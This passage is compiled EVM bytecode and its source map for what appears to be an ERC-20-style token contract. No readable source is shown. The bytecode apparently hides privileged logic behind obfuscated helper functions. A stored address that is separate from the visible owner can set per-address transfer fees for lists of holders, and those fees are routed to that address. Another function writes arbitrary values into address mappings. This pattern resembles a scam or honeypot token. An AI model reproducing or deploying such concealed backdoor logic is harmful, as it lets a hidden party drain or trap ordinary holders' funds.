4051908101604052809291908181526020018280546104f1906116bc565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610b36565b6001905092915050565b60085481565b5f61056c848484610c1d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106709190611719565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c90611796565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bc5760016108bf565b60095b60ff1690505f6003826108d29190611719565b90508091506002816108e491906118e3565b6008546103e86108f4919061192d565b6108fe919061192d565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109e3906116bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0f906116bc565b8015610a5a5780601f10610a3157610100808354040283529160200191610a5a565b820191905f5260205f20905b815481529060010190602001808311610a3d57829003601f168201915b505050505081565b5f610a6e338484610c1d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f600190505f600290505f600390505f610b15848484610fdf565b9050610b218185611004565b9050610b2e868683611025565b505050505050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c109190611353565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c82575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610cd5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d209190611719565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ed3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610db4919061192d565b610dbe919061199b565b90508082610dcc91906119cb565b91505f811115610ed1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e4391906119cb565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ec89190611353565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1d91906119cb565b610f279190611719565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fc39190611719565b604051610fd09190611353565b60405180910390a35050505050565b5f80610fec8585856110ba565b90508281610ffa9190611719565b9150509392505050565b5f6001826110129190611719565b8361101d91906119cb565b905092915050565b5f8190505f5b84518110156110b35781836110409190611719565b8461104b91906119cb565b600a5f878481518110611061576110606119fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061102b565b5050505050565b5f6110c484611107565b156110dc5781836110d591906119cb565b9050611100565b6110e583611107565b6110fc5783836110f59190611719565b9050611100565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f808411905081801561116b5750805b1561117b576001925050506111a0565b8161118a575f925050506111a0565b80611199575f925050506111a0565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6111e7826111a5565b6111f181856111af565b93506112018185602086016111bf565b61120a816111cd565b840191505092915050565b5f6020820190508181035f83015261122d81846111dd565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61126f82611246565b9050919050565b61127f81611265565b8114611289575f80fd5b50565b5f8135905061129a81611276565b92915050565b5f819050919050565b6112b2816112a0565b81146112bc575f80fd5b50565b5f813590506112cd816112a9565b92915050565b5f80604083850312156112e9576112e861123e565b5b5f6112f68582860161128c565b9250506020611307858286016112bf565b9150509250929050565b5f8115159050919050565b61132581611311565b82525050565b5f60208201905061133e5f83018461131c565b92915050565b61134d816112a0565b82525050565b5f6020820190506113665f830184611344565b92915050565b5f805f606084860312156113835761138261123e565b5b5f6113908682870161128c565b93505060206113a18682870161128c565b92505060406113b2868287016112bf565b9150509250925092565b5f602082840312156113d1576113d061123e565b5b5f6113de8482850161128c565b91505092915050565b5f60ff82169050919050565b6113fc816113e7565b82525050565b5f6020820190506114155f8301846113f3565b92915050565b61142481611265565b82525050565b5f60208201905061143d5f83018461141b565b92915050565b5f819050919050565b5f61146661146161145c84611246565b611443565b611246565b9050919050565b5f6114778261144c565b9050919050565b5f6114888261146d565b9050919050565b6114988161147e565b82525050565b5f6020820190506114b15f83018461148f565b92915050565b5f80604083850312156114cd576114cc61123e565b5b5f6114da8582860161128c565b92505060206114eb8582860161128c565b9150509250929050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61152f826111cd565b810181811067ffffffffffffffff8211171561154e5761154d6114f9565b5b80604052505050565b5f611560611235565b905061156c8282611526565b919050565b5f67ffffffffffffffff82111561158b5761158a6114f9565b5b602082029050602081019050919050565b5f80fd5b5f6115b26115ad84611571565b611557565b905080838252602082019050602084028301858111156115d5576115d461159c565b5b835b818110156115fe57806115ea888261128c565b8452602084019350506020810190506115d7565b5050509392505050565b5f82601f83011261161c5761161b6114f5565b5b813561162c8482602086016115a0565b91505092915050565b5f806040838503121561164b5761164a61123e565b5b5f83013567ffffffffffffffff81111561166857611667611242565b5b61167485828601611608565b9250506020611685858286016112bf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116d357607f821691505b6020821081036116e6576116e561168f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611723826112a0565b915061172e836112a0565b9250828203905081811115611746576117456116ec565b5b92915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f6117806006836111af565b915061178b8261174c565b602082019050919050565b5f6020820190508181035f8301526117ad81611774565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611809578086048111156117e5576117e46116ec565b5b60018516156117f45780820291505b8081029050611802856117b4565b94506117c9565b94509492505050565b5f8261182157600190506118dc565b8161182e575f90506118dc565b8160018114611844576002811461184e5761187d565b60019150506118dc565b60ff8411156118605761185f6116ec565b5b8360020a915084821115611877576118766116ec565b5b506118dc565b5060208310610133831016604e8410600b84101617156118b25782820a9050838111156118ad576118ac6116ec565b5b6118dc565b6118bf84848460016117c0565b925090508184048111156118d6576118d56116ec565b5b81810290505b9392505050565b5f6118ed826112a0565b91506118f8836113e7565b92506119257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611812565b905092915050565b5f611937826112a0565b9150611942836112a0565b9250828202611950816112a0565b91508282048414831517611967576119666116ec565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119a5826112a0565b91506119b0836112a0565b9250826119c0576119bf61196e565b5b828204905092915050565b5f6119d5826112a0565b91506119e0836112a0565b92508282019050808211156119f8576119f76116ec565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220518f5eec59314e6960f2a9b8b3f021ffa19863be581500b634fc561084347b4e64736f6c63430008190033

Deployed Bytecode Sourcemap

1046:5359:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1400:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5751:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1524:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5881:327;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;923:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1719:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1446:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1468:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1663:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1374:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1749:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5122:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1551:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5391:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;751:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1419:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5491:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5627:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3347:347;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1400:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5751:124::-;5817:4;5824:37;5833:10;5845:7;5854:6;5824:8;:37::i;:::-;5869:4;5862:11;;5751:124;;;;:::o;1524:26::-;;;;:::o;5881:327::-;5970:4;5987:36;5997:6;6005:9;6016:6;5987:9;:36::i;:::-;1654:1;1645:11;6038;:19;6050:6;6038:19;;;;;;;;;;;;;;;:31;6058:10;6038:31;;;;;;;;;;;;;;;;:38;6034:145;;6161:6;6127:11;:19;6139:6;6127:19;;;;;;;;;;;;;;;:31;6147:10;6127:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6093:11;:19;6105:6;6093:19;;;;;;;;;;;;;;;:31;6113:10;6093:31;;;;;;;;;;;;;;;:74;;;;6034:145;6196:4;6189:11;;5881:327;;;;;:::o;923:114::-;870:10;860:20;;:6;;;;;;;;;;:20;;;852:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1021:8:::1;1012:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;923:114:::0;:::o;1719:23::-;;;;:::o;1446:21::-;;;;;;;;;;;;;:::o;1468:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1663:46::-;;;;;;;;;;;;;;;;;:::o;1374:25::-;;;;;;;;;;;;;:::o;1749:27::-;;;;;;;;;;;;;:::o;5122:261::-;5177:44;5224:9;5177:56;;5244:9;5270:10;5256:24;;:10;;;;;;;;;;;:24;;;:34;;5287:3;5256:34;;;5283:1;5256:34;5244:46;;;;5301:9;5317:1;5313;:5;;;;:::i;:::-;5301:17;;5323:1;5319:5;;5374:1;5371;:4;;;;:::i;:::-;5359:11;;5354:4;:16;;;;:::i;:::-;:21;;;;:::i;:::-;5335:10;:16;5346:4;5335:16;;;;;;;;;;;;;;;:40;;;;5166:217;;;5122:261;:::o;1551:36::-;;;;;;;;;;;;;:::o;5391:94::-;5448:7;5465:9;:18;5475:7;5465:18;;;;;;;;;;;;;;;;5458:25;;5391:94;;;:::o;751:63::-;789:7;806:6;;;;;;;;;;;799:13;;751:63;:::o;1419:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5491:130::-;5560:4;5567:40;5577:10;5589:9;5600:6;5567:9;:40::i;:::-;5615:4;5608:11;;5491:130;;;;:::o;5627:118::-;5699:7;5716:11;:18;5728:5;5716:18;;;;;;;;;;;;;;;:27;5735:7;5716:27;;;;;;;;;;;;;;;;5709:34;;5627:118;;;;:::o;3347:347::-;3437:16;3456:4;3437:23;;3461:16;3480:4;3461:23;;3485:16;3504:4;3485:23;;3509:14;3526:44;3541:8;3551;3561;3526:14;:44::i;:::-;3509:61;;3590:34;3607:6;3615:8;3590:16;:34::i;:::-;3581:43;;3635:51;3651:10;3663:14;3679:6;3635:15;:51::i;:::-;3426:268;;;;3347:347;;:::o;6216:151::-;6321:6;6291:11;:18;6303:5;6291:18;;;;;;;;;;;;;;;:27;6310:7;6291:27;;;;;;;;;;;;;;;:36;;;;6349:7;6333:32;;6342:5;6333:32;;;6358:6;6333:32;;;;;;:::i;:::-;;;;;;;;6216:151;;;:::o;1785:702::-;1865:20;1889:6;;;;;;;;;;;1888:7;:35;;;;;1900:17;:23;1918:4;1900:23;;;;;;;;;;;;;;;;;;;;;;;;;1899:24;1888:35;:61;;;;;1928:17;:21;1946:2;1928:21;;;;;;;;;;;;;;;;;;;;;;;;;1927:22;1888:61;1865:84;;1998:6;1980:9;:15;1990:4;1980:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;1962:9;:15;1972:4;1962:15;;;;;;;;;;;;;;;:42;;;;2017:18;2050:15;2046:317;;;2082:17;2130:3;2111:10;:16;2122:4;2111:16;;;;;;;;;;;;;;;;2102:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;2082:51;;2162:9;2148:23;;;;;:::i;:::-;;;2202:1;2190:9;:13;2186:166;;;2257:9;2223;:30;2241:10;;;;;;;;;;;2223:30;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;2313:10;;;;;;;;;;;2290:46;;2299:4;2290:46;;;2326:9;2290:46;;;;;;:::i;:::-;;;;;;;;2186:166;2067:296;2046:317;2414:10;2405:6;2389:9;:13;2399:2;2389:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;2373:9;:13;2383:2;2373:13;;;;;;;;;;;;;;;:51;;;;2455:2;2440:39;;2449:4;2440:39;;;2468:10;2459:6;:19;;;;:::i;:::-;2440:39;;;;;;:::i;:::-;;;;;;;;1852:635;;1785:702;;;:::o;3702:192::-;3790:7;3810:14;3827:28;3838:4;3844;3850;3827:10;:28::i;:::-;3810:45;;3882:4;3873:6;:13;;;;:::i;:::-;3866:20;;;3702:192;;;;;:::o;3902:159::-;3992:7;4048:4;4041;:11;;;;:::i;:::-;4019:18;:34;;;;:::i;:::-;4012:41;;3902:159;;;;:::o;4069:294::-;4180:18;4201:6;4180:27;;4223:9;4218:138;4242:9;:16;4238:1;:20;4218:138;;;4333:10;4324:6;:19;;;;:::i;:::-;4307:13;:37;;;;:::i;:::-;4280:10;:24;4291:9;4301:1;4291:12;;;;;;;;:::i;:::-;;;;;;;;4280:24;;;;;;;;;;;;;;;:64;;;;4260:3;;;;;;;4218:138;;;;4169:194;4069:294;;;:::o;4371:300::-;4455:7;4479:18;4492:4;4479:12;:18::i;:::-;4475:189;;;4528:4;4521;:11;;;;:::i;:::-;4514:18;;;;4475:189;4555:18;4568:4;4555:12;:18::i;:::-;4550:114;;4604:4;4597;:11;;;;:::i;:::-;4590:18;;;;4550:114;4648:4;4641:11;;4371:300;;;;;;:::o;4677:431::-;4733:4;4750:19;4786:10;;;;;;;;;;;4772:24;;:10;:24;;;4750:46;;4807:20;4835:1;4830:2;:6;4807:29;;4851:14;:33;;;;;4869:15;4851:33;4847:254;;;4908:4;4901:11;;;;;;4847:254;4935:14;4930:171;;4973:5;4966:12;;;;;;4930:171;5001:15;4996:105;;5040:5;5033:12;;;;;;4996:105;5085:4;5078:11;;;;4677:431;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:329::-;4375:6;4424:2;4412:9;4403:7;4399:23;4395:32;4392:119;;;4430:79;;:::i;:::-;4392:119;4550:1;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4521:117;4316:329;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:60::-;5461:3;5482:5;5475:12;;5433:60;;;:::o;5499:142::-;5549:9;5582:53;5600:34;5609:24;5627:5;5609:24;:::i;:::-;5600:34;:::i;:::-;5582:53;:::i;:::-;5569:66;;5499:142;;;:::o;5647:126::-;5697:9;5730:37;5761:5;5730:37;:::i;:::-;5717:50;;5647:126;;;:::o;5779:147::-;5850:9;5883:37;5914:5;5883:37;:::i;:::-;5870:50;;5779:147;;;:::o;5932:173::-;6040:58;6092:5;6040:58;:::i;:::-;6035:3;6028:71;5932:173;;:::o;6111:264::-;6225:4;6263:2;6252:9;6248:18;6240:26;;6276:92;6365:1;6354:9;6350:17;6341:6;6276:92;:::i;:::-;6111:264;;;;:::o;6381:474::-;6449:6;6457;6506:2;6494:9;6485:7;6481:23;6477:32;6474:119;;;6512:79;;:::i;:::-;6474:119;6632:1;6657:53;6702:7;6693:6;6682:9;6678:22;6657:53;:::i;:::-;6647:63;;6603:117;6759:2;6785:53;6830:7;6821:6;6810:9;6806:22;6785:53;:::i;:::-;6775:63;;6730:118;6381:474;;;;;:::o;6861:117::-;6970:1;6967;6960:12;6984:180;7032:77;7029:1;7022:88;7129:4;7126:1;7119:15;7153:4;7150:1;7143:15;7170:281;7253:27;7275:4;7253:27;:::i;:::-;7245:6;7241:40;7383:6;7371:10;7368:22;7347:18;7335:10;7332:34;7329:62;7326:88;;;7394:18;;:::i;:::-;7326:88;7434:10;7430:2;7423:22;7213:238;7170:281;;:::o;7457:129::-;7491:6;7518:20;;:::i;:::-;7508:30;;7547:33;7575:4;7567:6;7547:33;:::i;:::-;7457:129;;;:::o;7592:311::-;7669:4;7759:18;7751:6;7748:30;7745:56;;;7781:18;;:::i;:::-;7745:56;7831:4;7823:6;7819:17;7811:25;;7891:4;7885;7881:15;7873:23;;7592:311;;;:::o;7909:117::-;8018:1;8015;8008:12;8049:710;8145:5;8170:81;8186:64;8243:6;8186:64;:::i;:::-;8170:81;:::i;:::-;8161:90;;8271:5;8300:6;8293:5;8286:21;8334:4;8327:5;8323:16;8316:23;;8387:4;8379:6;8375:17;8367:6;8363:30;8416:3;8408:6;8405:15;8402:122;;;8435:79;;:::i;:::-;8402:122;8550:6;8533:220;8567:6;8562:3;8559:15;8533:220;;;8642:3;8671:37;8704:3;8692:10;8671:37;:::i;:::-;8666:3;8659:50;8738:4;8733:3;8729:14;8722:21;;8609:144;8593:4;8588:3;8584:14;8577:21;;8533:220;;;8537:21;8151:608;;8049:710;;;;;:::o;8782:370::-;8853:5;8902:3;8895:4;8887:6;8883:17;8879:27;8869:122;;8910:79;;:::i;:::-;8869:122;9027:6;9014:20;9052:94;9142:3;9134:6;9127:4;9119:6;9115:17;9052:94;:::i;:::-;9043:103;;8859:293;8782:370;;;;:::o;9158:684::-;9251:6;9259;9308:2;9296:9;9287:7;9283:23;9279:32;9276:119;;;9314:79;;:::i;:::-;9276:119;9462:1;9451:9;9447:17;9434:31;9492:18;9484:6;9481:30;9478:117;;;9514:79;;:::i;:::-;9478:117;9619:78;9689:7;9680:6;9669:9;9665:22;9619:78;:::i;:::-;9609:88;;9405:302;9746:2;9772:53;9817:7;9808:6;9797:9;9793:22;9772:53;:::i;:::-;9762:63;;9717:118;9158:684;;;;;:::o;9848:180::-;9896:77;9893:1;9886:88;9993:4;9990:1;9983:15;10017:4;10014:1;10007:15;10034:320;10078:6;10115:1;10109:4;10105:12;10095:22;;10162:1;10156:4;10152:12;10183:18;10173:81;;10239:4;10231:6;10227:17;10217:27;;10173:81;10301:2;10293:6;10290:14;10270:18;10267:38;10264:84;;10320:18;;:::i;:::-;10264:84;10085:269;10034:320;;;:::o;10360:180::-;10408:77;10405:1;10398:88;10505:4;10502:1;10495:15;10529:4;10526:1;10519:15;10546:194;10586:4;10606:20;10624:1;10606:20;:::i;:::-;10601:25;;10640:20;10658:1;10640:20;:::i;:::-;10635:25;;10684:1;10681;10677:9;10669:17;;10708:1;10702:4;10699:11;10696:37;;;10713:18;;:::i;:::-;10696:37;10546:194;;;;:::o;10746:156::-;10886:8;10882:1;10874:6;10870:14;10863:32;10746:156;:::o;10908:365::-;11050:3;11071:66;11135:1;11130:3;11071:66;:::i;:::-;11064:73;;11146:93;11235:3;11146:93;:::i;:::-;11264:2;11259:3;11255:12;11248:19;;10908:365;;;:::o;11279:419::-;11445:4;11483:2;11472:9;11468:18;11460:26;;11532:9;11526:4;11522:20;11518:1;11507:9;11503:17;11496:47;11560:131;11686:4;11560:131;:::i;:::-;11552:139;;11279:419;;;:::o;11704:102::-;11746:8;11793:5;11790:1;11786:13;11765:34;;11704:102;;;:::o;11812:848::-;11873:5;11880:4;11904:6;11895:15;;11928:5;11919:14;;11942:712;11963:1;11953:8;11950:15;11942:712;;;12058:4;12053:3;12049:14;12043:4;12040:24;12037:50;;;12067:18;;:::i;:::-;12037:50;12117:1;12107:8;12103:16;12100:451;;;12532:4;12525:5;12521:16;12512:25;;12100:451;12582:4;12576;12572:15;12564:23;;12612:32;12635:8;12612:32;:::i;:::-;12600:44;;11942:712;;;11812:848;;;;;;;:::o;12666:1073::-;12720:5;12911:8;12901:40;;12932:1;12923:10;;12934:5;;12901:40;12960:4;12950:36;;12977:1;12968:10;;12979:5;;12950:36;13046:4;13094:1;13089:27;;;;13130:1;13125:191;;;;13039:277;;13089:27;13107:1;13098:10;;13109:5;;;13125:191;13170:3;13160:8;13157:17;13154:43;;;13177:18;;:::i;:::-;13154:43;13226:8;13223:1;13219:16;13210:25;;13261:3;13254:5;13251:14;13248:40;;;13268:18;;:::i;:::-;13248:40;13301:5;;;13039:277;;13425:2;13415:8;13412:16;13406:3;13400:4;13397:13;13393:36;13375:2;13365:8;13362:16;13357:2;13351:4;13348:12;13344:35;13328:111;13325:246;;;13481:8;13475:4;13471:19;13462:28;;13516:3;13509:5;13506:14;13503:40;;;13523:18;;:::i;:::-;13503:40;13556:5;;13325:246;13596:42;13634:3;13624:8;13618:4;13615:1;13596:42;:::i;:::-;13581:57;;;;13670:4;13665:3;13661:14;13654:5;13651:25;13648:51;;;13679:18;;:::i;:::-;13648:51;13728:4;13721:5;13717:16;13708:25;;12666:1073;;;;;;:::o;13745:281::-;13803:5;13827:23;13845:4;13827:23;:::i;:::-;13819:31;;13871:25;13887:8;13871:25;:::i;:::-;13859:37;;13915:104;13952:66;13942:8;13936:4;13915:104;:::i;:::-;13906:113;;13745:281;;;;:::o;14032:410::-;14072:7;14095:20;14113:1;14095:20;:::i;:::-;14090:25;;14129:20;14147:1;14129:20;:::i;:::-;14124:25;;14184:1;14181;14177:9;14206:30;14224:11;14206:30;: